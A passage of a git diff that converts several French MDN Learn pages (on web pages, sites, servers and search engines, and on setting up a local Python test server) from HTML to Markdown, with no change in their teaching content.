fonctionnalités HTML favorisent l'accessibilité?</a> - </dt> - <dd>Cet article décrit les fonctionnalités spécifiques d'HTML qui peuvent être utilisées afin de rendre les pages accessibles aux personnes ayant certaines difficultées.</dd> -</dl> +- [Comment démarrer dans la conception de mon site web?](/fr/docs/Learn/Common_questions/Thinking_before_coding) + - : Cet article couvre la première étape la plus importante de tous les projets: définir ce que vous voulez accomplir avec. +- [Que contiennent les mises en page classiques?](/fr/docs/Learn/Common_questions/Common_web_layouts) + - : Lorsque vous concevez des pages pour votre site Web, il est bon d'avoir une idée des mises en page les plus courantes. Cet article présente quelques mises en page typiques du web, en analysant les parties qui composent chacune d'entre elles. +- [Qu'est-ce-que l'accessibilité?](/fr/docs/Learn/Common_questions/What_is_accessibility) + - : Cet article est une introduction aux concepts de base de l'accessibilité web. +- [Comment concevoir pour tous les types d'utilisateurs?](/fr/docs/Learn/Common_questions/Design_for_all_types_of_users) + - : Cet article fournit quelques techniques de base afin de vous aider dans la conception de sites web adaptés à tous les types d'utilisateurs — de rapides astuces d'accessibilité, en quelque sorte. +- [Quelles fonctionnalités HTML favorisent l'accessibilité?](/fr/docs/Learn/Common_questions/HTML_features_for_accessibility) + - : Cet article décrit les fonctionnalités spécifiques d'HTML qui peuvent être utilisées afin de rendre les pages accessibles aux personnes ayant certaines difficultées. -<h2 id="Questions_HTML_CSS_et_JavaScript">Questions HTML, CSS et JavaScript</h2> +## Questions HTML, CSS et JavaScript -<p>Pour les solutions fréquentes aux problèmes de HTML/CSS/JavaScript, essayez les articles suivants:</p> +Pour les solutions fréquentes aux problèmes de HTML/CSS/JavaScript, essayez les articles suivants: -<ul> - <li><a href="/fr/docs/Learn/HTML/Howto">Utiliser HTML pour résoudre des problèmes courants</a></li> - <li><a href="/fr/docs/Learn/CSS/Howto">Utiliser CSS pour résoudre des problèmes courants</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Howto">Utiliser JavaScript pour résoudre des problèmes courants</a></li> -</ul> +- [Utiliser HTML pour résoudre des problèmes courants](/fr/docs/Learn/HTML/Howto) +- [Utiliser CSS pour résoudre des problèmes courants](/fr/docs/Learn/CSS/Howto) +- [Utiliser JavaScript pour résoudre des problèmes courants](/fr/docs/Learn/JavaScript/Howto) diff --git a/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md index 9bbe2a62c4..3d501a266a 100644 --- a/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md +++ b/files/fr/learn/common_questions/pages_sites_servers_and_search_engines/index.md @@ -6,110 +6,106 @@ slug: Learn/Common_questions/Pages_sites_servers_and_search_engines translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines original_slug: Apprendre/page_vs_site_vs_serveur_vs_moteur_recherche --- -<p>Dans cet article, nous démystifions plusieurs notions liées au Web : page web, site web, serveur web et moteur de recherche. Ces termes sont souvent une source de confusion ou utilisés incorrectement : voyons leur signification.</p> +Dans cet article, nous démystifions plusieurs notions liées au Web : page web, site web, serveur web et moteur de recherche. Ces termes sont souvent une source de confusion ou utilisés incorrectement : voyons leur signification. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devriez au préalable comprendre <a href="/fr/docs/Learn/Common_questions/How_does_the_Internet_work">comment fonctionne Internet</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Être capable de décrire les différences entre une page web, un site web, un serveur web et un moteur de recherche.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devriez au préalable comprendre + <a href="/fr/docs/Learn/Common_questions/How_does_the_Internet_work" + >comment fonctionne Internet</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Être capable de décrire les différences entre une page web, un site web, + un serveur web et un moteur de recherche. + </td> + </tr> + </tbody> </table> -<h2 id="summary">Résumé</h2> +## Résumé -<p>Le Web, comme tout autre champ de connaissance, est associé à un vaste vocabulaire technique. Ne vous inquiétez pas, nous n'avons pas l'intention de vous submerger avec tout cela (si vous êtes curieux, vous pouvez consulter notre <a href="/fr/docs/Glossary">glossaire</a>). Nous nous devons toutefois de clarifier dès maintenant certaines notions de base, car elles reviendront fréquemment dans vos prochaines lectures. Ces notions peuvent parfois être confondues, car elles réfèrent à des fonctions apparentées, mais néanmoins distinctes. Il arrive que les termes correspondants soient utilisés, parfois à contresens, dans certains articles de presse ou autre : ce n'est pas surprenant de se mélanger les pinceaux.</p> +Le Web, comme tout autre champ de connaissance, est associé à un vaste vocabulaire technique. Ne vous inquiétez pas, nous n'avons pas l'intention de vous submerger avec tout cela (si vous êtes curieux, vous pouvez consulter notre [glossaire](/fr/docs/Glossary)). Nous nous devons toutefois de clarifier dès maintenant certaines notions de base, car elles reviendront fréquemment dans vos prochaines lectures. Ces notions peuvent parfois être confondues, car elles réfèrent à des fonctions apparentées, mais néanmoins distinctes. Il arrive que les termes correspondants soient utilisés, parfois à contresens, dans certains articles de presse ou autre : ce n'est pas surprenant de se mélanger les pinceaux. -<p>Nous approfondirons bientôt ces notions, mais vous pouvez commencer par vous familiariser avec ces définitions simples :</p> +Nous approfondirons bientôt ces notions, mais vous pouvez commencer par vous familiariser avec ces définitions simples : -<dl> - <dt>Page web</dt> - <dd>Un document qui peut être affiché par un navigateur web (tel que Mozilla Firefox, Google Chrome, Microsoft Internet Explorer ou Edge ou encore Safari). On parle aussi simplement de « pages ».</dd> - <dt>Site web</dt> - <dd>Un ensemble de pages web regroupées entre elles de différentes façons. On utilise également le terme « site » seul.</dd> - <dt>Serveur web</dt> - <dd>Un ordinateur qui héberge un site web sur Internet.</dd> - <dt>Moteur de recherche</dt> - <dd>Un site web qui aide à trouver des pages web (par exemple, Google, Bing, Yahoo, DuckDuckGo, Qwant, etc.). On accède aux moteurs de recherche via un navigateur web (en utilisant la barre d'adresse ou de recherche de ceux-ci) ou via une page web (par exemple <a href="https://www.bing.com/">bing.com</a> ou <a href="https://duckduckgo.com/">duckduckgo.com</a>).</dd> -</dl> +- Page web + - : Un document qui peut être affiché par un navigateur web (tel que Mozilla Firefox, Google Chrome, Microsoft Internet Explorer ou Edge ou encore Safari). On parle aussi simplement de « pages ». +- Site web + - : Un ensemble de pages web regroupées entre elles de différentes façons. On utilise également le terme « site » seul. +- Serveur web + - : Un ordinateur qui héberge un site web sur Internet. +- Moteur de recherche + - : Un site web qui aide à trouver des pages web (par exemple, Google, Bing, Yahoo, DuckDuckGo, Qwant, etc.). On accède aux moteurs de recherche via un navigateur web (en utilisant la barre d'adresse ou de recherche de ceux-ci) ou via une page web (par exemple [bing.com](https://www.bing.com/) ou [duckduckgo.com](https://duckduckgo.com/)). -<p>Prenons une analogie simple avec une bibliothèque. Voici une suite d'actions qu'on peut effectuer lorsqu'on se rend dans une bibliothèque :</p> +Prenons une analogie simple avec une bibliothèque. Voici une suite d'actions qu'on peut effectuer lorsqu'on se rend dans une bibliothèque : -<ol> - <li>On parcourt un index de recherche afin de trouver le titre du livre qu'on veut.</li> - <li>On note la référence / le code du livre.</li> - <li>On se rend à la section correspondante de la bibliothèque, on trouve le rayonnage pour la section qui contient le code, on trouve le livre spécifique via son code.</li> -</ol> +1. On parcourt un index de recherche afin de trouver le titre du livre qu'on veut. +2. On note la référence / le code du livre. +3. On se rend à la section correspondante de la bibliothèque, on trouve le rayonnage pour la section qui contient le code, on trouve le livre spécifique via son code. -<p>Comparons maintenant la bibliothèque avec un serveur web :</p> +Comparons maintenant la bibliothèque avec un serveur web : -<ul> - <li>La bibliothèque est semblable à un serveur web : elle contient plusieurs sections, de la même façon qu'un serveur web peut héberger plusieurs sites web.</li> - <li>Les différentes sections (science, mathématiques, histoire, etc.) de la bibliothèque sont semblables à des sites web. Chaque section correspond à un site donné (deux sections ne contiennent pas les mêmes livres).</li> - <li>Les livres de chaque section sont semblables à des pages web. Un site web peut avoir plusieurs pages web. Ainsi, la section Science (qui correspond au site web) aura plusieurs livres, l'un sur la chaleur, l'autre sur le son ou la thermodynamique, etc. (qui correspondent aux pages web). Un emplacement donné (une URL) donne accès à une page web.</li> - <li>L'index pour la recherche agit comme le moteur de recherche. Chaque livre dispose de son propre emplacement dans la bibliothèque et deux livres différents ne peuvent pas avoir le même emplacement/code.</li> -</ul> +- La bibliothèque est semblable à un serveur web : elle contient plusieurs sections, de la même façon qu'un serveur web peut héberger plusieurs sites web. +- Les différentes sections (science, mathématiques, histoire, etc.) de la bibliothèque sont semblables à des sites web. Chaque section correspond à un site donné (deux sections ne contiennent pas les mêmes livres). +- Les livres de chaque section sont semblables à des pages web. Un site web peut avoir plusieurs pages web. Ainsi, la section Science (qui correspond au site web) aura plusieurs livres, l'un sur la chaleur, l'autre sur le son ou la thermodynamique, etc. (qui correspondent aux pages web). Un emplacement donné (une URL) donne accès à une page web. +- L'index pour la recherche agit comme le moteur de recherche. Chaque livre dispose de son propre emplacement dans la bibliothèque et deux livres différents ne peuvent pas avoir le même emplacement/code. -<h2 id="active_learning">Pédagogie active</h2> +## Pédagogie active -<p><em>Aucun contenu de pédagogie active n'est disponible pour le moment. <a href="/fr/docs/MDN/Contribute/Getting_started">S'il vous plaît, pensez à contribuer pour enrichir ce contenu !</a></em></p> +_Aucun contenu de pédagogie active n'est disponible pour le moment. [S'il vous plaît, pensez à contribuer pour enrichir ce contenu !](/fr/docs/MDN/Contribute/Getting_started)_ -<h2 id="deeper_dive">Allons plus loin</h2> +## Allons plus loin -<p>Explorons maintenant les liens qui unissent ces quatre notions et pourquoi elles sont parfois confondues.</p> +Explorons maintenant les liens qui unissent ces quatre notions et pourquoi elles sont parfois confondues. -<h3 id="web_page">Page web</h3> +### Page web -<p>Une <em>page web</em> est un document simple qui peut être affiché par un <a href="/fr/docs/Glossary/Browser">navigateur</a>. Ce document est écrit à l'aide du langage <a href="/fr/docs/Glossary/HTML">HTML</a> (nous en reparlerons plus en profondeur dans d'<a href="/fr/docs/Web/HTML">autres articles</a>) et peut inclure diverses autres ressources telles que :</p> +Une _page web_ est un document simple qui peut être affiché par un [navigateur](/fr/docs/Glossary/Browser). Ce document est écrit à l'aide du langage [HTML](/fr/docs/Glossary/HTML) (nous en reparlerons plus en profondeur dans d'[autres articles](/fr/docs/Web/HTML)) et peut inclure diverses autres ressources telles que : -<ul> - <li>des <em>feuilles de style</em> — qui déterminent l'apparence de la page ;</li> - <li>des <em> scripts</em> — qui ajoutent des fonctions interactives ; ou</li> - <li>du <em>contenu multimédia</em> — images, sons, vidéos.</li> -</ul> +- des _feuilles de style_ — qui déterminent l'apparence de la page ; +- des _scripts_ — qui ajoutent des fonctions interactives ; ou +- du _contenu multimédia_ — images, sons, vidéos. -<div class="note"> -<p><strong>Note :</strong> Les navigateurs peuvent afficher d'autres types de documents tels que des fichiers <a href="/fr/docs/Glossary/PDF">PDF</a> ou des images, mais le terme <strong>page web</strong> désigne spécifiquement des documents HTML. Si nous parlons d'un autre type de contenu, nous utiliserons le terme <strong>document</strong>.</p> -</div> +> **Note :** Les navigateurs peuvent afficher d'autres types de documents tels que des fichiers [PDF](/fr/docs/Glossary/PDF) ou des images, mais le terme **page web** désigne spécifiquement des documents HTML. Si nous parlons d'un autre type de contenu, nous utiliserons le terme **document**. -<p>Toutes les pages web sont associées à une adresse unique. Pour atteindre une page, il suffit d'entrer son adresse dans la barre d'adresse du navigateur :</p> +Toutes les pages web sont associées à une adresse unique. Pour atteindre une page, il suffit d'entrer son adresse dans la barre d'adresse du navigateur : -<p><img alt="Exemple d'une adresse de page web dans la barre d'adresse du navigateur" src="web-page.jpg"></p> + -<p>Un <em>site web</em> est un ensemble de pages web reliées entre elles (ainsi que des ressources associées) qui partagent un nom de domaine. Chaque page d'un site fournit des liens explicites (généralement sous la forme de texte cliquable) qui permettent à l'utilisateur de naviguer entre les pages du site web.</p> +Un _site web_ est un ensemble de pages web reliées entre elles (ainsi que des ressources associées) qui partagent un nom de domaine. Chaque page d'un site fournit des liens explicites (généralement sous la forme de texte cliquable) qui permettent à l'utilisateur de naviguer entre les pages du site web. -<p>Pour atteindre un site web, vous devez saisir son nom de domaine dans la barre d'adresse de votre navigateur. Le navigateur affichera alors la page principale, appelée <em>page d'accueil</em>, du site web.</p> +Pour atteindre un site web, vous devez saisir son nom de domaine dans la barre d'adresse de votre navigateur. Le navigateur affichera alors la page principale, appelée _page d'accueil_, du site web. -<p><img alt="Example du nom de domaine d'un site web dans la barre d'adresse du navigateur" src="web-site.jpg"></p> + -<p>Les termes <em>page web</em> et <em>site web</em> sont souvent confondus lorsqu'un site web ne comprend qu'une seule page. Un tel site pourrait être appelé un <em>site web à page unique</em>.</p> +Les termes _page web_ et _site web_ sont souvent confondus lorsqu'un site web ne comprend qu'une seule page. Un tel site pourrait être appelé un _site web à page unique_. -<h3 id="web_server">Serveur web</h3> +### Serveur web -<p>Un <em>serveur web</em> est un ordinateur hébergeant un ou plusieurs <em>sites web</em>. « Héberger » signifie que toutes les <em>pages web</em> et fichiers associés sont localement enregistrés sur cet ordinateur. À la demande d'un utilisateur, le <em>serveur web</em> transmettra la <em>page web</em> du <em>site web</em> hébergé au navigateur de l'utilisateur.</p> +Un _serveur web_ est un ordinateur hébergeant un ou plusieurs _sites web_. « Héberger » signifie que toutes les _pages web_ et fichiers associés sont localement enregistrés sur cet ordinateur. À la demande d'un utilisateur, le _serveur web_ transmettra la _page web_ du _site web_ hébergé au navigateur de l'utilisateur. -<p>Attention à ne pas confondre <em>site web</em> et <em>serveur web</em>. Par exemple, si quelqu'un dit « Mon site web ne répond pas », cela signifie en fait que le <em>serveur web</em> ne répond pas et que, par conséquent, le <em>site web</em> n'est pas accessible. Par ailleurs, puisqu'un serveur web peut héberger plusieurs sites web, le terme <em>serveur web</em> n'est jamais utilisé pour désigner un site web, car cela serait une importante source de confusion. Ainsi, dans l'exemple précédent, si on dit « Mon serveur web ne répond pas », cela signifie qu'aucun site web de ce serveur n'est disponible.</p> +Attention à ne pas confondre _site web_ et _serveur web_. Par exemple, si quelqu'un dit « Mon site web ne répond pas », cela signifie en fait que le _serveur web_ ne répond pas et que, par conséquent, le _site web_ n'est pas accessible. Par ailleurs, puisqu'un serveur web peut héberger plusieurs sites web, le terme _serveur web_ n'est jamais utilisé pour désigner un site web, car cela serait une importante source de confusion. Ainsi, dans l'exemple précédent, si on dit « Mon serveur web ne répond pas », cela signifie qu'aucun site web de ce serveur n'est disponible. -<h3 id="search_engine">Moteur de recherche</h3> +### Moteur de recherche -<p>Les moteurs de recherche sont à l'origine de beaucoup de confusion sur le Web. Un moteur de recherche est un type particulier de site web qui aide les utilisateurs à trouver les pages web d'<em>autres</em> sites web.</p> +Les moteurs de recherche sont à l'origine de beaucoup de confusion sur le Web. Un moteur de recherche est un type particulier de site web qui aide les utilisateurs à trouver les pages web d'_autres_ sites web. -<p>Il y en a plein : <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a> et plusieurs autres encore. Certains sont généraux, alors que d'autres sont spécialisés pour certains sujets de recherche. Vous êtes libres d'utiliser celui qui vous convient le mieux.</p> +Il y en a plein : [Google](https://www.google.com/), [Bing](https://www.bing.com/), [Yandex](https://www.yandex.com/), [DuckDuckGo](https://duckduckgo.com/) et plusieurs autres encore. Certains sont généraux, alors que d'autres sont spécialisés pour certains sujets de recherche. Vous êtes libres d'utiliser celui qui vous convient le mieux. -<p>Plusieurs débutants sur le Web confondent moteur de recherche et navigateur. Soyons clairs : un <em><strong>navigateur</strong></em> est un logiciel qui affiche des pages web, alors qu'un <strong><em>moteur de recherche</em></strong> est un site web qui aide les utilisateurs à trouver les pages web d'autres sites web. La confusion est due à l'affichage de la page d'accueil d'un moteur de recherche lors de l'ouverture initiale d'un navigateur. Cette façon de faire est tout de même logique, car la première chose que l'on veut faire en ouvrant un navigateur est de trouver une page à afficher. Faites attention de ne pas confondre infrastructure (par exemple, le navigateur) et service (par exemple, le moteur de recherche). Cette distinction vous sera bien utile, mais ne soyez pas trop inquiets, car même les professionnels tendent à être un peu vagues dans leur emploi de la terminologie.</p> +Plusieurs débutants sur le Web confondent moteur de recherche et navigateur. Soyons clairs : un **_navigateur_** est un logiciel qui affiche des pages web, alors qu'un **_moteur de recherche_** est un site web qui aide les utilisateurs à trouver les pages web d'autres sites web. La confusion est due à l'affichage de la page d'accueil d'un moteur de recherche lors de l'ouverture initiale d'un navigateur. Cette façon de faire est tout de même logique, car la première chose que l'on veut faire en ouvrant un navigateur est de trouver une page à afficher. Faites attention de ne pas confondre infrastructure (par exemple, le navigateur) et service (par exemple, le moteur de recherche). Cette distinction vous sera bien utile, mais ne soyez pas trop inquiets, car même les professionnels tendent à être un peu vagues dans leur emploi de la terminologie. -<p>Voici un exemple du navigateur Firefox affichant une boîte de recherche Google sur sa page de démarrage par défaut :</p> +Voici un exemple du navigateur Firefox affichant une boîte de recherche Google sur sa page de démarrage par défaut : -<p><img alt="Exemple de Firefox nightly affichant par défaut une page Google page personnalisée" src="search-engine.jpg"></p> + -<h2 id="next_steps">Étapes suivantes</h2> +## Étapes suivantes -<ul> - <li>Allez plus loin : <a href="/fr/docs/Learn/Common_questions/What_is_a_web_server">Qu'est-ce qu'un serveur web ?</a></li> - <li>Voyez comment des pages web sont liées pour former un site web : <a href="/fr/docs/Learn/Common_questions/What_are_hyperlinks">Comprendre comment fonctionnent les liens sur le Web</a></li> -</ul> +- Allez plus loin : [Qu'est-ce qu'un serveur web ?](/fr/docs/Learn/Common_questions/What_is_a_web_server) +- Voyez comment des pages web sont liées pour former un site web : [Comprendre comment fonctionnent les liens sur le Web](/fr/docs/Learn/Common_questions/What_are_hyperlinks) diff --git a/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md index c38eff9431..04f3d40be2 100644 --- a/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md +++ b/files/fr/learn/common_questions/set_up_a_local_testing_server/index.md @@ -16,93 +16,91 @@ tags: translation_of: Learn/Common_questions/set_up_a_local_testing_server original_slug: Apprendre/Common_questions/configurer_un_serveur_de_test_local --- -<p>Cet article explique comment configurer un serveur de test local simple sur votre machine, et les bases pour l'utiliser.</p> +Cet article explique comment configurer un serveur de test local simple sur votre machine, et les bases pour l'utiliser. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Vous devez au préalable savoir <a href="/fr/docs/Learn/How_the_Internet_works">comment Internet fonctionne</a> et <a href="/fr/docs/Learn/What_is_a_Web_server">ce qu'est un serveur Web</a>.</td> - </tr> - <tr> - <th scope="row">Objectif:</th> - <td>Vous apprendrez à configurer un serveur de test local.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Vous devez au préalable savoir + <a href="/fr/docs/Learn/How_the_Internet_works" + >comment Internet fonctionne</a + > et + <a href="/fr/docs/Learn/What_is_a_Web_server" + >ce qu'est un serveur Web</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif:</th> + <td>Vous apprendrez à configurer un serveur de test local.</td> + </tr> + </tbody> </table> -<h2 id="Fichiers_locaux_contre_fichiers_distants">Fichiers locaux contre fichiers distants</h2> - -<p>Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant <em>Fichier</em> > <em>Ouvrir...</em> et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver.</p> - -<p>Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par <code>file://</code> suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par <code>http://</code> ou <code>https://</code> ; dans ce cas le fichier a été servi via HTTP.</p> - -<h2 id="Le_problème_du_test_local">Le problème du test local</h2> - -<p>Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont :</p> - -<ul> - <li><strong>Ils sont basés sur des requêtes asynchrones</strong>. Certains navigateurs comme Chrome n'exécutent pas de requêtes asynchrones (voyez <a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Récolter des données depuis le serveur </a>) si vous lancez simplement l'exemple comme un fichier local. Cela est dû à des restrictions de sécurité (voir <a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Sécurité des sites Web</a> pour en savoir plus).</li> - <li><strong>Ils mettent en œuvre un langage spécifique, tournant sur le serveur</strong>. Des langages côté-serveur (comme PHP ou Python) nécessitent un environnement spécifique fourni par le serveur pour interpréter le code et donner des résultats.</li> -</ul> - -<h2 id="Créer_un_serveur_HTTP_local_simple">Créer un serveur HTTP local simple</h2> - -<p>Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module <code>SimpleHTTPServer</code> de Python permet une mise en œuvre simple de cette solution.</p> - -<p>Voilà la marche à suivre :</p> - -<ol> - <li> - <p>Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) :</p> - - <ul> - <li>Allez à <a href="https://www.python.org/">python.org</a></li> - <li>Sous Télécharger, cliquez le lien pour Python "3.xxx".</li> - <li>Tout en bas de la page, télécharger le fichier pointé par le lien <em>Windows x86 executable installer</em>.</li> - <li>Exécuter ce programme quand le téléchargement est fini.</li> - <li>Sur la première page de l'installeur, assurez-vous d'avoir coché la case "Ajouter Python 3.xxx to PATH".</li> - <li>Cliquer <em>Install</em>, puis <em>Fermer</em> quand l'installation est complète.</li> - </ul> - </li> - <li> - <p>Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante :</p> - - <pre class="brush: bash">python -V</pre> - </li> - <li> - <p>Elle devrait retourner un numéro de version. Si c'est le cas, en utilisant la commande <code>cd</code>, placer votre répertoire de travail dans le dossier contenant l'exemple.</p> - - <pre class="brush: bash">#inclure le nom du dossier pour y s'y rendre, -#par exemple -cd Bureau -# utiliser deux points pour remonter dans -#le dossier parent si nécessaire -cd ..</pre> - </li> - <li> - <p>Entrer la commande pour démarrer le serveur dans ce dossier.</p> - - <pre class="brush: bash"># Si la version de Python retournée est ultérieur à 3.X -python3 -m http.server -# Si la version de Python retournée est ultérieur à 2.X -python -m SimpleHTTPServer</pre> - </li> - <li> - <p>Par défaut, il affiche la liste des fichiers du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant l'URL <code>localhost:8000</code> dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter.</p> - </li> -</ol> - -<div class="note"> -<p><strong>Note :</strong> Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple <code>python -m http.server 7800</code> (Python 3.x) ou <code>python -m SimpleHTTPServer 7800</code> (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse <code>localhost:7800</code>.</p> -</div> - -<h2 id="Faire_fonctionner_localement_des_langages_serveur">Faire fonctionner localement des langages serveur</h2> - -<p>Le module <code>SimpleHTTPServer</code> de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples :</p> - -<ul> - <li>Pour exécuter du code Python coté-serveur, vous aurez besoin d'utiliser un framework web Python. Vous pouvez découvrir comment utiliser le framework Django en lisant <a href="/fr/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>. <a href="http://flask.pocoo.org/">Flask</a> est une alternative à Django, un peu plus légère. Pour l'exécuter, vous aurez besoin d'<a href="/fr/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">installer Python/PIP</a>, puis Flask en utilisant <code>pip3 install flask</code>. À ce point, vous devriez être capable d'exécuter les exemples Python Flask en utilisant par exemple <code>python3 python-example.py</code>, puis consulter <code>localhost:5000</code> dans votre navigateur.</li> - <li>Pour exécuter du code Node.js (JavaScript) côté-serveur, vous aurez besoin d'utiliser un noeud brut ou un framework construit par dessus ce dernier. Express est un bon choix — voir <a href="/fr/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>.</li> - <li>Pour exécuter du code PHP côté serveur, vous aurez besoin d'une configuration serveur qui peut interpréter PHP. De bonnes options pour tester PHP localement sont <a class="external external-icon" href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac and Windows) , <a class="external external-icon" href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux) and <a href="https://www.linux.com/learn/easy-lamp-server-installation">LAMP</a> (Linux, Apache, MySQL, et PHP/Python/Perl). Ce sont des paquets complets qui créent des configurations locales vous permettant d'exécuter un serveur Apache, PHP et des bases de données MySQL.</li> -</ul> +## Fichiers locaux contre fichiers distants + +Dans les cours du MDN, la plupart du temps, on vous demande d'ouvrir les exemples directement dans le navigateur — vous pouvez le faire en double cliquant le fichier HTML, en déposant celui-ci dans la fenêtre de votre navigateur, ou en faisant _Fichier_ > _Ouvrir..._ et naviguer jusqu'au fichier HTML, etc... Il y a beaucoup de manières d'y arriver. + +Vous savez que vous avez lancé l'exemple depuis un fichier local, lorsque l'URL commence par `file://` suivi du chemin d'accès dans votre système de fichiers. Par contre, si vous consultez un de nos exemples hébergés sur GitHub (ou n'importe quel autre serveur distant), l'adresse web commencera par `http://` ou `https://` ; dans ce cas le fichier a été servi via HTTP. + +## Le problème du test local + +Certains exemples ne fonctionneront pas si vous les ouvrez en tant que fichiers locaux. Il y a plusieurs raisons possibles, dont les plus courantes sont : + +- **Ils sont basés sur des requêtes asynchrones**. Certains navigateurs comme Chrome n'exécutent pas de requêtes asynchrones (voyez [Récolter des données depuis le serveur ](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data)) si vous lancez simplement l'exemple comme un fichier local. Cela est dû à des restrictions de sécurité (voir [Sécurité des sites Web](/fr/docs/Learn/Server-side/First_steps/Website_security) pour en savoir plus). +- **Ils mettent en œuvre un langage spécifique, tournant sur le serveur**. Des langages côté-serveur (comme PHP ou Python) nécessitent un environnement spécifique fourni par le serveur pour interpréter le code et donner des résultats. + +## Créer un serveur HTTP local simple + +Pour contourner le problème des requêtes asynchrones, nous devons tester de tels exemples en les exécutant depuis un serveur local. Le module `SimpleHTTPServer` de Python permet une mise en œuvre simple de cette solution. + +Voilà la marche à suivre : + +1. Installer Python. Si vous utilisez GNU/Linux ou macOS, un environnement python est sans doute déjà disponible sur votre machine. Les utilisateurs de Windows pourront trouver un installeur depuis la page d'accueil de Python (on y trouve toutes les instructions) : + + - Allez à [python.org](https://www.python.org/) + - Sous Télécharger, cliquez le lien pour Python "3.xxx". + - Tout en bas de la page, télécharger le fichier pointé par le lien *Windows x86 executable installer*. + - Exécuter ce programme quand le téléchargement est fini. + - Sur la première page de l'installeur, assurez-vous d'avoir coché la case "Ajouter Python 3.xxx to PATH". + - Cliquer _Install_, puis _Fermer_ quand l'installation est complète. + +2. Ouvrez votre invite de commandes (Windows)/terminal (OS X et GNULinux). Pour vérifier que l'installation précédente s'est déroulée correctement, entrez la commande suivante : + + ```bash + python -V + ``` + +3. Elle devrait retourner un numéro de version. Si c'est le cas, en utilisant la commande `cd`, placer votre répertoire de travail dans le dossier contenant l'exemple. + + ```bash + #inclure le nom du dossier pour y s'y rendre, + #par exemple + cd Bureau + # utiliser deux points pour remonter dans + #le dossier parent si nécessaire + cd .. + ``` + +4. Entrer la commande pour démarrer le serveur dans ce dossier. + + ```bash + # Si la version de Python retournée est ultérieur à 3.X + python3 -m http.server + # Si la version de Python retournée est ultérieur à 2.X + python -m SimpleHTTPServer + ``` + +5. Par défaut, il affiche la liste des fichiers du dossier sur un serveur de développement, sur le port 8000. Vous pouvez aller à ce serveur en saisissant l'URL `localhost:8000` dans votre navigateur web. Vous verrez le listing du dossier dans lequel le serveur tourne — cliquer le fichier HTML que vous voulez exécuter. + +> **Note :** Si le port 8000 est occupé, vous pouvez choisir un autre port en spécifiant une autre valeur après la commande par exemple `python -m http.server 7800` (Python 3.x) ou `python -m SimpleHTTPServer 7800` (Python 2.x). Vous pouvez maintenant accéder à votre contenu à l'adresse `localhost:7800`. + +## Faire fonctionner localement des langages serveur + +Le module `SimpleHTTPServer` de Python est utile, mais il ne sait pas comment exécuter du code écrit dans des langages comme PHP ou Python. Pour gérer ça, vous aurez besoin de quelque chose en plus — ce dont vous aurez besoin exactement dépend du language serveur que vous essayez d'exécuter. Voici quelques exemples : + +- Pour exécuter du code Python coté-serveur, vous aurez besoin d'utiliser un framework web Python. Vous pouvez découvrir comment utiliser le framework Django en lisant [Django Web Framework (Python)](/fr/docs/Learn/Server-side/Django). [Flask](http://flask.pocoo.org/) est une alternative à Django, un peu plus légère. Pour l'exécuter, vous aurez besoin d'[installer Python/PIP](/fr/docs/Learn/Server-side/Django/development_environment#Installing_Python_3), puis Flask en utilisant `pip3 install flask`. À ce point, vous devriez être capable d'exécuter les exemples Python Flask en utilisant par exemple `python3 python-example.py`, puis consulter `localhost:5000` dans votre navigateur. +- Pour exécuter du code Node.js (JavaScript) côté-serveur, vous aurez besoin d'utiliser un noeud brut ou un framework construit par dessus ce dernier. Express est un bon choix — voir [Express Web Framework (Node.js/JavaScript)](/fr/docs/Learn/Server-side/Express_Nodejs). +- Pour exécuter du code 